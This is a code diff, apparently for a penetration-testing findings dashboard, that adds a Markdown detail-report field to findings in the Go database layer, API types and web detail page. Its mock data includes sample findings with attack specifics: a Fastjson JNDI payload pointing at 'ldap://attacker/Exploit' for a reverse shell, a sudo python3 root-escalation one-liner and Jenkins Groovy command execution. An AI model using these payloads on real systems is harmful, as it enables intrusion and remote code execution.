diff --git a/db/findings.go b/db/findings.go index d0fe731..1549e06 100644 --- a/db/findings.go +++ b/db/findings.go @@ -21,6 +21,7 @@ type DBFinding struct { Worker string AssetIDs []int64 Status string + Report string // 详细报告(Markdown);仅 GetFinding 填充,列表查询不带 CreatedAt time.Time TaskDescription string // populated via LEFT JOIN on tasks } @@ -244,25 +245,27 @@ func (d *DB) FindingStats() (*FindingStats, error) { return st, rows.Err() } -// GetFinding returns a single finding row (with task_description joined), or nil -// when no row has that id. +// GetFinding returns a single finding row (with task_description joined and the +// full Markdown report), or nil when no row has that id. Unlike the list queries +// it also selects `report` — that column is only needed on the detail page. func (d *DB) GetFinding(id int64) (*DBFinding, error) { - rows, err := d.Query(`SELECT `+findingSelectCols+` + f := &DBFinding{} + var aidsJSON string + err := d.QueryRow(`SELECT `+findingSelectCols+`, COALESCE(f.report, '') FROM findings f LEFT JOIN tasks t ON f.task_id = t.id - WHERE f.id = $1`, id) - if err != nil { - return nil, err - } - defer rows.Close() - out, err := scanFindings(rows) - if err != nil { - return nil, err - } - if len(out) == 0 { + WHERE f.id = $1`, id).Scan( + &f.ID, &f.TaskID, &f.NodeID, &f.VulnClass, &f.Name, &f.Severity, + &f.Summary, &f.Evidence, &f.Worker, &aidsJSON, &f.Status, &f.CreatedAt, + &f.TaskDescription, &f.Report) + if err == sql.ErrNoRows { return nil, nil } - return out[0], nil + if err != nil { + return nil, err + } + _ = json.Unmarshal([]byte(aidsJSON), &f.AssetIDs) + return f, nil } // SetFindingStatus updates one finding's triage state. Returns rows affected. diff --git a/db/findings_test.go b/db/findings_test.go index de5cd1b..a978701 100644 --- a/db/findings_test.go +++ b/db/findings_test.go @@ -109,6 +109,16 @@ func TestFindingsPageAndStats(t *testing.T) { if one == nil || one.ID != ids[0] || one.Severity != "critical" || one.Name != "严重漏洞标题" { t.Fatalf("GetFinding mismatch: %+v", one) } + if one.Report != "" { + t.Fatalf("new finding report should be empty, got %q", one.Report) + } + // report column round-trips through GetFinding. + if _, err := d.Exec(`UPDATE findings SET report=$1 WHERE id=$2`, "# 报告\n正文", ids[0]); err != nil { + t.Fatal(err) + } + if one, _ = d.GetFinding(ids[0]); one.Report != "# 报告\n正文" { + t.Fatalf("report not read back: %q", one.Report) + } if miss, err := d.GetFinding(-1); err != nil || miss != nil { t.Fatalf("GetFinding(-1): want nil,nil got %+v,%v", miss, err) } diff --git a/db/schema.sql b/db/schema.sql index 874ed2e..380ee9d 100644 --- a/db/schema.sql +++ b/db/schema.sql @@ -552,10 +552,13 @@ CREATE TABLE IF NOT EXISTS findings ( -- false_positive 误报 / ignored 忽略 / duplicate 重复 / risk_accepted 风险接受。 -- 取值不加 CHECK:旧库靠下面的 ALTER 补列,CHECK 无法回填,统一由 server 侧白名单校验。 status TEXT NOT NULL DEFAULT 'pending', + -- 漏洞详细报告(Markdown);默认空,仅详情页读取/展示,不进列表接口以免 payload 膨胀。 + report TEXT NOT NULL DEFAULT '', created_at TIMESTAMPTZ NOT NULL DEFAULT now() ); ALTER TABLE findings ADD COLUMN IF NOT EXISTS status TEXT NOT NULL DEFAULT 'pending'; ALTER TABLE findings ADD COLUMN IF NOT EXISTS name TEXT NOT NULL DEFAULT ''; +ALTER TABLE findings ADD COLUMN IF NOT EXISTS report TEXT NOT NULL DEFAULT ''; CREATE INDEX IF NOT EXISTS idx_findings_task ON findings(task_id, created_at DESC); CREATE INDEX IF NOT EXISTS idx_findings_time ON findings(created_at DESC); CREATE INDEX IF NOT EXISTS idx_findings_status ON findings(status, created_at DESC); diff --git a/server/dto.go b/server/dto.go index ed4c193..56b056a 100644 --- a/server/dto.go +++ b/server/dto.go @@ -172,14 +172,16 @@ func edgeDTOs(in []db.Edge) []EdgeDTO { // ---- Finding (frontend "Finding") ---- type FindingDTO struct { - ID string `json:"id"` - FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates - VulnClass string `json:"vulnclass"` - Name string `json:"name,omitempty"` // 漏洞名称;为空时前端回退展示 vulnclass - Severity string `json:"severity"` // critical | high | medium | low - Status string `json:"status"` // pending | in_progress | confirmed | resolved | false_positive | ignored | duplicate | risk_accepted - Summary string `json:"summary"` - Evidence string `json:"evidence"` + ID string `json:"id"` + FindingID string `json:"finding_id,omitempty"` // standalone findings-table id — the handle for status updates + VulnClass string `json:"vulnclass"` + Name string `json:"name,omitempty"` // 漏洞名称;为空时前端回退展示 vulnclass + Severity string `json:"severity"` // critical | high | medium | low + Status string `json:"status"` // pending | in_progress | confirmed | resolved | false_positive | ignored | duplicate | risk_accepted + Summary string `json:"summary"` + Evidence string `json:"evidence"` + Report string `json:"report,omitempty"` // 详细报告(Markdown);仅详情接口返回,列表为空 + IntentID string `json:"intent_id,omitempty"` ParamID string `json:"param_id,omitempty"` TaskID string `json:"task_id,omitempty"` @@ -301,6 +303,7 @@ func findingFromDB(f *db.DBFinding, assets map[int64]*db.Asset) FindingDTO { Status: status, Summary: f.Summary, Evidence: f.Evidence, + Report: f.Report, TS: rfc3339(f.CreatedAt), } d.Assets = findingAssetDTOs(f.AssetIDs, assets) diff --git a/web/src/app/(main)/function/findings/detail/page.tsx b/web/src/app/(main)/function/findings/detail/page.tsx index 8bb3a5e..50de463 100644 --- a/web/src/app/(main)/function/findings/detail/page.tsx +++ b/web/src/app/(main)/function/findings/detail/page.tsx @@ -18,6 +18,7 @@ import { SelectTrigger, } from "@/components/ui/select"; import { StatusBadge } from "@/components/status-badge"; +import { Markdown } from "@/components/markdown"; import { statusMeta } from "@/lib/status"; import { api } from "@/lib/api"; import type { Finding, FindingStatus, Severity } from "@/lib/types"; @@ -197,6 +198,21 @@ function FindingDetailInner() { )} + {/* 证据下方:详细报告(Markdown 渲染) */} + + + 详细报告 + + + {finding.report ? ( + + ) : ( +

+ 暂无详细报告。 +

+ )} +
+
{/* 右栏:状态区 */} diff --git a/web/src/lib/mock/data.ts b/web/src/lib/mock/data.ts index fc647bf..44e3e31 100644 --- a/web/src/lib/mock/data.ts +++ b/web/src/lib/mock/data.ts @@ -173,7 +173,7 @@ export const findings: Finding[] = [ { id: "f-10", vulnclass: "Outdated Component", severity: "medium", status: "pending", summary: "shop 使用存在已知 RCE 的老版本组件", evidence: "指纹识别到组件 v2.3.1,对应 CVE-2024-xxxx 反序列化 RCE。", task_id: "t-shop-pay", task_description: "shop.acme.com 支付与订单链路", ts: T("2026-07-23T15:00:00Z") }, // ── 外网→内网纵深链路上的高危发现(active task)── { id: "f-11", vulnclass: "Hardcoded Credentials", severity: "high", status: "pending", summary: "泄露源码中硬编码数据库凭据 sa/Acme@2021", evidence: "git-dumper 还原 www.acme.com/.git 得到 config.php,内含明文 DB 口令,后续被证实可在内网复用。", intent_id: "ig", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T20:36:00Z") }, - { id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") }, + { id: "f-12", vulnclass: "Deserialization RCE", name: "shop 商城 Fastjson 反序列化远程命令执行", severity: "critical", status: "confirmed", report: "## 漏洞概述\n\n`shop.acme.com` 的 `/api/import` 接口使用 **Fastjson 1.2.24** 解析用户可控 JSON,未开启 `safeMode`,可通过 `@type` 指定任意类触发 **JNDI 注入 → 远程命令执行**。\n\n## 影响\n\n- 攻击者无需认证即可在 DMZ Web 服务器上执行任意命令(`www-data@dmz-web01`)\n- 结合后续提权,成为进入内网的跳板\n\n## 复现步骤\n\n1. 构造 JNDI payload:\n\n```json\n{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://attacker/Exploit\",\"autoCommit\":true}\n```\n\n2. `POST /api/import`,`Content-Type: application/json`\n3. 目标回连 dnslog,落地反弹 shell\n\n## 修复建议\n\n- 升级 Fastjson 至 **1.2.83+** 并开启 `safeMode`\n- `/api/import` 增加鉴权与来源校验\n- 出网限制:禁止业务服务器主动外联 LDAP/RMI\n", summary: "shop.acme.com Fastjson 1.2.24 反序列化远程命令执行", evidence: "POST /api/import 提交 JNDI payload(@type:JdbcRowSetImpl)→ 回连 dnslog 并落地反弹 shell(www-data@dmz-web01)。", intent_id: "i7", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T15:40:00Z") }, { id: "f-13", vulnclass: "Privilege Escalation", severity: "high", status: "pending", summary: "DMZ 立足点 sudo NOPASSWD 错配可本地提权 root", evidence: "sudo -l 显示 (ALL) NOPASSWD: /usr/bin/python3 → sudo python3 -c 'os.setuid(0);os.system(\"/bin/sh\")' 直接拿 root。", intent_id: "i8", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T16:20:00Z") }, { id: "f-14", vulnclass: "Network Segmentation", severity: "medium", status: "pending", summary: "DMZ 主机双网卡直连内网,边界隔离失效", evidence: "dmz-web01 第二网卡在 10.10.10.0/24,可从 DMZ 直达域控/文件服务器/Jenkins,越过网络分区。", intent_id: "i9", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:00:00Z") }, { id: "f-15", vulnclass: "Unauthenticated RCE", severity: "high", status: "pending", summary: "内部 Jenkins 未授权 Script Console 远程命令执行", evidence: "GET /script 无需登录即可执行 Groovy:'whoami'.execute().text → SYSTEM;并从凭据库导出域账号 acme\\svc_deploy。", intent_id: "i11", task_id: "t-acme-web", task_description: "Acme 官网与后台外部渗透", ts: T("2026-07-25T21:50:00Z") }, diff --git a/web/src/lib/mock/handler.ts b/web/src/lib/mock/handler.ts index 6d8585d..bda61d0 100644 --- a/web/src/lib/mock/handler.ts +++ b/web/src/lib/mock/handler.ts @@ -103,7 +103,12 @@ function route(m: string, path: string, seg: string[], q: URLSearchParams, b: Re } if (path === "/exploration/findings") { // finding_id=id:真后端用独立表行 id 作为状态/详情句柄,mock 里用自身 id 顶上。 - const withFid = (f: (typeof D.findings)[number]) => ({ ...f, finding_id: f.id }); + // report 仅详情接口返回,列表剥掉(与后端一致)。 + const withFid = (f: (typeof D.findings)[number]) => ({ + ...f, + report: undefined, + finding_id: f.id, + }); if (task) return D.findings.filter((f) => f.task_id === task).map(withFid); // 全局:带 page/limit → 分页对象;否则裸数组(dashboard)。 if (!q.has("page") && !q.has("limit")) return D.findings.map(withFid); diff --git a/web/src/lib/types.ts b/web/src/lib/types.ts index 6320900..eff029a 100644 --- a/web/src/lib/types.ts +++ b/web/src/lib/types.ts @@ -266,6 +266,7 @@ export interface Finding { status: FindingStatus; summary: string; evidence: string; + report?: string; // 详细报告(Markdown);仅详情接口返回,列表为空 intent_id?: string; param_id?: string; task_id?: string;